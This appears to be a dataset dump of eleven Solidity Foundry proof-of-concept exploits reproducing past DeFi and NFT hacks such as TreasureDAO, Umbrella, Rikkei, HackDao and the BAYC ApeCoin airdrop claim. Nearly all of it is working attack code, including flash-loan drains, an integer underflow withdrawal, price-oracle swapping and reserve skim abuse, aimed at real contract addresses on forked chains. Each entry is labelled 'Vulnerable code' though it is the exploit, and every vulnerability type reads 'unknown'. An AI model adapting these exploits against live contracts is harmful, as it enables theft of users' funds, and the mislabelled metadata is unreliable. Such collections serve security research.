Farseen0/scar-pairs huggingface dataset:
HIGH severity: TreasureDAO exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    ITreasureMarketplaceBuyer itreasure = ITreasureMarketplaceBuyer(0x812cdA2181ed7c45a35a691E0C85E231D218E273);
    IERC721 iSmolBrain = IERC721(0x6325439389E0797Ab35752B4F43a14C004f22A9c);
    uint256 tokenId = 3557;
    address nftOwner;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("arbitrum", 7_322_694); //fork arbitrum at block 7322694
    }

    function testExploit() public {
        nftOwner = iSmolBrain.ownerOf(tokenId);
        emit log_named_address("Original NFT owner of SmolBrain:", nftOwner);
        itreasure.buyItem(0x6325439389E0797Ab35752B4F43a14C004f22A9c, 3557, nftOwner, 0, 6_969_000_000_000_000_000_000);

        emit log_named_address("Exploit completed, NFT owner of SmolBrain:", iSmolBrain.ownerOf(tokenId));
    }

    function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {
        return this.onERC721Received.selector;
    }
}


Vulnerability type: unknown
HIGH severity: Umbrella exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 700k Attacker : 0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d0 AttackContract : 0x89767960b76b009416bc7ff4a4b79051eed0a9ee StakingRewards contract: 0xB3FB1D01B07A706736Ca175f827e4F56021b85dE Attack TX: https://etherscan.io/tx/0x33479bcfbc792aa0

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 700k
// Attacker : 0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d0
// AttackContract : 0x89767960b76b009416bc7ff4a4b79051eed0a9ee
// StakingRewards contract: 0xB3FB1D01B07A706736Ca175f827e4F56021b85dE
// Attack TX: https://etherscan.io/tx/0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa
// Attack TX: https://bscscan.com/tx/0x784b68dc7d06ee181f3127d5eb5331850b5e690cc63dd099cd7b8dc863204bf6

interface IStakingRewards {
    function withdraw(
        uint256 amount
    ) external;
}

contract AttackContract is Test {
    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IStakingRewards constant StakingRewards = IStakingRewards(0xB3FB1D01B07A706736Ca175f827e4F56021b85dE);
    IERC20 constant uniLP = IERC20(0xB1BbeEa2dA2905E6B0A30203aEf55c399C53D042);

    function setUp() public {
        cheat.createSelectFork("mainnet", 14_421_983); // Fork mainnet at block 14421983
    }

    function testExploit() public {
        emit log_named_decimal_uint("Before exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);

        StakingRewards.withdraw(8_792_873_290_680_252_648_282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow.

        /*
        StakingRewards contract, vulnerable code snippet.
    function _withdraw(uint256 amount, address user, address recipient) internal nonReentrant updateReward(user) {
        require(amount != 0, "Cannot withdraw 0");

        // not using safe math, because there is no way to overflow if stake tokens not overflow
        _totalSupply = _totalSupply - amount;
        _balances[user] = _balances[user] - amount;   //<---- underflow here.
        */
        emit log_named_decimal_uint("After exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);
    }
}


Vulnerability type: unknown
HIGH severity: AkutarNFT exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
Akutar NFT Denial of Service(DoS) Exploit PoC

There are two serious logic vulnerabilities

1. First can cause a DoS attack due to the missing check if the bidder is a contract. As a result, the attacker can call the revert() and stop the honest bidders from getting back their bid amount.

2. The Second will make the project fund (more than 34M USD) being locked forever due to incorrect check in the require statement.

forge test --contracts ./src/test/AkutarNFT_exp.sol -vv  
*/
contract AkutarNFTExploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IAkutarNFT akutarNft = IAkutarNFT(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_636_844); // fork mainnet at 14636844
    }

    function testDOSAttack() public {
        address honestUser = 0xca2eB45533a6D5E2657382B0d6Ec01E33a425BF4;
        address maliciousUser = address(this); // malicious User is a contract address

        cheats.prank(maliciousUser); //maliciousUser makes a bid
        akutarNft.bid{value: 3.5 ether}(1);
        console.log("honestUser Balance before Bid: ", honestUser.balance / 1 ether);

        cheats.prank(honestUser); //honestUser makes a bid
        akutarNft.bid{value: 3.75 ether}(1);
        console.log("honestUser Balance after Bid: ", honestUser.balance / 1 ether);

        //Set the block.height to the time when the auction was over and processRefunds() can be invoked
        //https://etherscan.io/tx/0x62d280abc60f8b604175ab24896c989e6092e496ac01f2f5399b2a62e9feaacf
        //use - https://www.epochconverter.com/ for UTC <-> epoch
        cheats.warp(1_650_674_809);

        cheats.prank(maliciousUser);
        try akutarNft.processRefunds() {}
        catch Error(string memory Exception) {
            console.log("processRefunds() REVERT : ", Exception);
        }
        //Since the honestUser's bid was after maliciousUser's bid, the bid amount of the honestUser is never returned due to the revert Exception
        console.log("honestUser Balance post processRefunds: ", honestUser.balance / 1 ether);
    }

    function testclaimProjectFunds() public {
        address ownerOfAkutarNFT = 0xCc0eCD808Ce4fEd81f0552b3889656B28aa2BAe9;

        //Set the block.height to the time when the auction was over and claimProjectFunds() can be invoked
        cheats.warp(1_650_672_435);

        cheats.prank(ownerOfAkutarNFT);
        try akutarNft.claimProjectFunds() {}
        catch Error(string memory Exception) {
            console.log("claimProjectFunds() ERROR : ", Exception);
        }
    }

    fallback() external {
        revert("CAUSE REVERT !!!");
    }
}


Vulnerability type: unknown
HIGH severity: Rikkei exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
    IRToken rbnb = IRToken(0x157822aC5fa0Efe98daa4b0A55450f4a182C10cA);
    IRToken rusdc = IRToken(0x916e87d16B2F3E097B9A6375DC7393cf3B5C11f5);
    ICointroller cointroller = ICointroller(0x4f3e801Bd57dC3D641E72f2774280b21d31F64e4);
    ISimplePriceOracle simplePriceOracle = ISimplePriceOracle(0xD55f01B4B51B7F48912cD8Ca3CDD8070A1a9DBa5);
    IPriceFeed chainlinkBNBUSDPriceFeed = IPriceFeed(0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 16_956_474); //fork bsc at block 16956474
    }

    function testExploit() public {
        emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
        rbnb.approve(address(cointroller), type(uint256).max);
        address[] memory rTokens = new address[](1);
        rTokens[0] = address(rbnb);
        cointroller.enterMarkets(rTokens);
        rbnb.mint{value: 100_000_000_000_000}();
        simplePriceOracle.setOracleData(address(rbnb), address(this));
        rusdc.borrow(rusdc.getCash());
        rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));
        simplePriceOracle.setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed));
        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(address(this)));
    }

    function decimals() external view returns (uint8) {
        return chainlinkBNBUSDPriceFeed.decimals();
    }

    function latestRoundData()
        external
        view
        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)
    {
        (roundId, answer, startedAt, updatedAt, answeredInRound) = chainlinkBNBUSDPriceFeed.latestRoundData();
        answer = answer * 1e10;
    }
}


Vulnerability type: unknown
HIGH severity: Wdoge exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 wdoge = IERC20(0x46bA8a59f4863Bd20a066Fd985B163235425B5F9);
    address public wdoge_wbnb = 0xB3e708a6d1221ed7C58B88622FDBeE2c03e4DB4d;
    address public BUSDT_WBNB_Pair = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 17_248_705); //fork bsc at block 17248705
    }

    function testExploit() public {
        IPancakePair(BUSDT_WBNB_Pair).swap(0, 2900 ether, address(this), "0x");
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        emit log_named_uint("After flashswap: WBNB balance of attacker", wbnb.balanceOf(address(this)) / 1e18);
        wbnb.transfer(wdoge_wbnb, 2900 ether);
        IPancakePair(wdoge_wbnb).swap(6_638_066_501_837_822_413_045_167_240_755, 0, address(this), "");
        wdoge.transfer(wdoge_wbnb, 5_532_718_068_557_297_916_520_398_869_451);
        IPancakePair(wdoge_wbnb).skim(address(this));
        IPancakePair(wdoge_wbnb).sync();
        wdoge.transfer(wdoge_wbnb, 4_466_647_961_091_568_568_393_910_837_883);
        IPancakePair(wdoge_wbnb).swap(0, 2_978_658_352_619_485_704_640, address(this), "");
        wbnb.transfer(BUSDT_WBNB_Pair, 2908 ether);
        emit log_named_uint(
            "After repaying flashswap, Profit: WBNB balance of attacker", wbnb.balanceOf(address(this)) / 1e18
        );
    }
}


Vulnerability type: unknown
HIGH severity: Zeed exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));
    IPancakePair usdtYeedHoSwapPair = IPancakePair(0x33d5e574Bd1EBf3Ceb693319C2e276DaBE388399);
    IPancakePair usdtYeedPair = IPancakePair(0xA7741d6b60A64b2AaE8b52186adeA77b1ca05054);
    IPancakePair hoYeedPair = IPancakePair(0xbC70FA7aea50B5AD54Df1edD7Ed31601C350A91a);
    IPancakePair zeedYeedPair = IPancakePair(0x8893610232C87f4a38DC9B5Ab67cbc331dC615d6);
    IERC20 yeed = IERC20(0xe7748FCe1D1e2f2Fd2dDdB5074bD074745dDa8Ea);
    IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 17_132_514); // fork bsc at block 17132514
    }

    function testExploit() public {
        yeed.approve(address(pancakeRouter), type(uint256).max);
        (uint112 _reserve0, uint112 _reserve1,) = usdtYeedHoSwapPair.getReserves();
        usdtYeedHoSwapPair.swap(0, _reserve1 - 1, address(this), new bytes(1));
        emit log_named_uint("Before exploit, USDT balance of attacker:", usdt.balanceOf(msg.sender));
        address[] memory path = new address[](3);
        path[0] = address(yeed);
        path[1] = hoYeedPair.token0();
        path[2] = usdtYeedPair.token0();
        pancakeRouter.swapExactTokensForTokens(
            yeed.balanceOf(address(this)), 0, path, msg.sender, block.timestamp + 120
        );
        emit log_named_uint("After exploit, USDT balance of attacker:", usdt.balanceOf(msg.sender));
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        yeed.transfer(address(usdtYeedPair), amount1);
        for (uint256 i = 0; i < 10; i++) {
            usdtYeedPair.skim(address(hoYeedPair));
            hoYeedPair.skim(address(zeedYeedPair));
            zeedYeedPair.skim(address(usdtYeedPair));
        }

        usdtYeedPair.skim(address(this));
        hoYeedPair.skim(address(this));
        zeedYeedPair.skim(address(this));

        yeed.transfer(msg.sender, (amount1 * 1000) / 997);
    }
}


Vulnerability type: unknown
HIGH severity: cftoken exploit (unknown). SPDX-License-Identifier: UNLICENSED source https://mp.weixin.qq.com/s/_7vIlVBI9g9IgGpS9OwPIQ attack tx: 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0 test result > forge test --contracts ./src/cftoken_exp.sol -vv [⠘] Compiling... No files changed, compilation skipped Running 2 t

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// source
// https://mp.weixin.qq.com/s/_7vIlVBI9g9IgGpS9OwPIQ
// attack tx: 0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
// test result

// > forge test --contracts ./src/cftoken_exp.sol -vv
// [⠘] Compiling...
// No files changed, compilation skipped

// Running 2 tests for test/Counter.t.sol:CounterTest
// [PASS] testIncrement() (gas: 28334)
// [PASS] testSetNumber(uint256) (runs: 256, μ: 27476, ~: 28409)
// Test result: ok. 2 passed; 0 failed; finished in 16.14ms

// Running 1 test for src/cftoken_exp.sol:ContractTest
// [PASS] testExploit() (gas: 86577)
// Logs:
//   Before exploit, cftoken balance:: 0
//   After exploit, cftoken balance:: 930000000000000000000

// Test result: ok. 1 passed; 0 failed; finished in 9.72s%

contract ContractTest is Test {
    address private cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;
    address private cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 16_841_980); //fork bsc at block 16841980
    }

    function testExploit() public {
        emit log_named_uint("Before exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));

        ICFToken(cftoken)._transfer(cfpair, payable(msg.sender), 1_000_000_000_000_000_000_000);

        emit log_named_uint("After exploit, cftoken balance:", ICFToken(cftoken).balanceOf(address(msg.sender)));
    }
}


Vulnerability type: unknown
HIGH severity: Bayc_apecoin exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
Exploited tx: https://etherscan.io/tx/0xeb8c3bebed11e2e4fcd30cbfc2fb3c55c4ca166003c7f7d319e78eaab9747098
Debug:
https://dashboard.tenderly.co/tx/mainnet/0xeb8c3bebed11e2e4fcd30cbfc2fb3c55c4ca166003c7f7d319e78eaab9747098
https://tools.blocksec.com/tx/eth/0xeb8c3bebed11e2e4fcd30cbfc2fb3c55c4ca166003c7f7d319e78eaab9747098*/

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IBAYCi bayc = IBAYCi(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
    INFTXVault NFTXVault = INFTXVault(0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5);
    IAirdrop AirdropGrapesToken = IAirdrop(0x025C6da5BD0e6A5dd1350fda9e3B6a614B205a1F);
    IERC20 ape = IERC20(0x4d224452801ACEd8B2F0aebE155379bb5D594381);
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_403_948); // fork mainnet at block 14403948
    }

    function test() public {
        cheats.startPrank(0x6703741e913a30D6604481472b6d81F3da45e6E8);
        bayc.transferFrom(0x6703741e913a30D6604481472b6d81F3da45e6E8, address(this), 1060);
        emit log_named_decimal_uint("Before exploiting, Attacker balance of APE is", ape.balanceOf(address(this)), 18);
        NFTXVault.approve(address(NFTXVault), type(uint256).max);
        NFTXVault.flashLoan(address(this), address(NFTXVault), 5_200_000_000_000_000_000, ""); // flash loan 5.2 BAYC tokens from the NFTX Vault
        emit log_named_decimal_uint("After exploiting, Attacker balance of APE is", ape.balanceOf(address(this)), 18);
    }

    function onFlashLoan(address, address, uint256, uint256, bytes memory) external returns (bytes32) {
        uint256[] memory blank = new uint256[](0);
        // The attacker used the borrowed BAYC tokens to redeem the following BAYC NFTs
        NFTXVault.redeem(5, blank);

        //Owning so many BAYC NFTs allowed the attacker to claim APE tokens for each, resulting in a total amount of 60,564 APE.
        AirdropGrapesToken.claimTokens();

        bayc.setApprovalForAll(address(NFTXVault), true);

        uint256[] memory nfts = new uint256[](6);
        nfts[0] = 7594;
        nfts[1] = 4755;
        nfts[2] = 9915;
        nfts[3] = 8214;
        nfts[4] = 8167;
        nfts[5] = 1060;

        NFTXVault.mint(nfts, blank);

        NFTXVault.approve(address(NFTXVault), type(uint256).max);

        return CALLBACK_SUCCESS;
    }

    function onERC721Received(
        address _operator,
        address _from,
        uint256 _tokenId,
        bytes calldata _data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }
}


Vulnerability type: unknown
HIGH severity: HackDao exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1529084919976034304 @Contract address https://bscscan.com/address/0x94e06c77b02ade8341489ab9a23451f68c13ec1c#code

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1529084919976034304
// @Contract address
// https://bscscan.com/address/0x94e06c77b02ade8341489ab9a23451f68c13ec1c#code

contract ContractTest is Test {
    IERC20 HackDao = IERC20(0x94e06c77b02Ade8341489Ab9A23451F68c13eC1C);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2); // HackDao WBNB
    Uni_Pair_V2 Pair2 = Uni_Pair_V2(0xbdB426A2FC2584c2D43dba5A7aB11763DFAe0225); //HackDao USDT
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 18_073_756);
    }

    function testExploit() public {
        WBNB.approve(address(Router), type(uint256).max);
        HackDao.approve(address(Router), type(uint256).max);
        DVM(dodo).flashLoan(1900 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {
        // get HackDao
        buyHackDao();
        // call skim() to burn HackDao in lp
        HackDao.transfer(address(Pair1), HackDao.balanceOf(address(this)));
        Pair1.skim(address(Pair2));
        Pair1.sync();
        Pair2.skim(address(Pair1));
        // sell HackDao
        (uint256 reserve0, uint256 reserve1,) = Pair1.getReserves(); // HackDao WBNB
        uint256 amountAfter = HackDao.balanceOf(address(Pair1));
        uint256 amountin = amountAfter - reserve0;
        uint256 amountout = amountin * 9975 * reserve1 / (reserve0 * 10_000 + amountin * 9975);
        Pair1.swap(0, amountout, address(this), "");
        WBNB.transfer(dodo, 1900 * 1e18);
    }

    function buyHackDao() internal {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(HackDao);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: Discover exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface ETHpledge {
    function pledgein(address fatheraddr, uint256 amountt) external returns (bool);
}
// Expected error. [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT]
// Because we don't repay funds to pancake.

contract ContractTest is Test {
    IPancakePair PancakePair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
    IPancakePair PancakePair2 = IPancakePair(0x92f961B6bb19D35eedc1e174693aAbA85Ad2425d);
    IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 discover = IERC20(0x5908E4650bA07a9cf9ef9FD55854D4e1b700A267);
    ETHpledge ethpledge = ETHpledge(0xe732a7bD6706CBD6834B300D7c56a8D2096723A7);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    constructor() {
        cheats.createSelectFork("bsc", 18_446_845); // fork bsc at block 18446845

        busd.approve(address(ethpledge), type(uint256).max);
        discover.approve(address(ethpledge), type(uint256).max);
    }

    function testExploit() public {
        bytes memory data = abi.encode(address(this), 19_810_777_285_664_651_588_959);
        emit log_named_uint("Before flashswap, BUSD balance of attacker:", busd.balanceOf(address(this)));
        PancakePair2.swap(19_810_777_285_664_651_588_959, 0, address(this), data);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        emit log_named_uint("After flashswap, BUSD balance of attacker:", busd.balanceOf(address(this)));
        ethpledge.pledgein(0xAb21300fA507Ab30D50c3A5D1Cad617c19E83930, 2_000_000_000_000_000_000_000);
        emit log_named_uint(
            "After Exploit, discover balance of attacker:",
            discover.balanceOf(0xAb21300fA507Ab30D50c3A5D1Cad617c19E83930)
        );
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Gym_2 exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x6CD71A07E72C514f5d511651F6808c6395353968));
    GymToken gymnet = GymToken(0x3a0d9d7764FAE860A659eb96A500F1323b411e68);
    GymSinglePool gympool = GymSinglePool(0xA8987285E100A8b557F06A7889F79E0064b359f2);

    function setUp() public {
        cheat.createSelectFork("bsc", 18_501_049); //fork bsc at block 18501049
    }

    function testExploit() public {
        gympool.depositFromOtherContract(8_000_000_000_000_000_000_000_666, 0, true, address(this));
        cheat.warp(1_654_683_789);
        gympool.withdraw(0);
        emit log_named_uint("Exploit completed, GYMNET balance of attacker:", gymnet.balanceOf(address(this)));
    }
}


Vulnerability type: unknown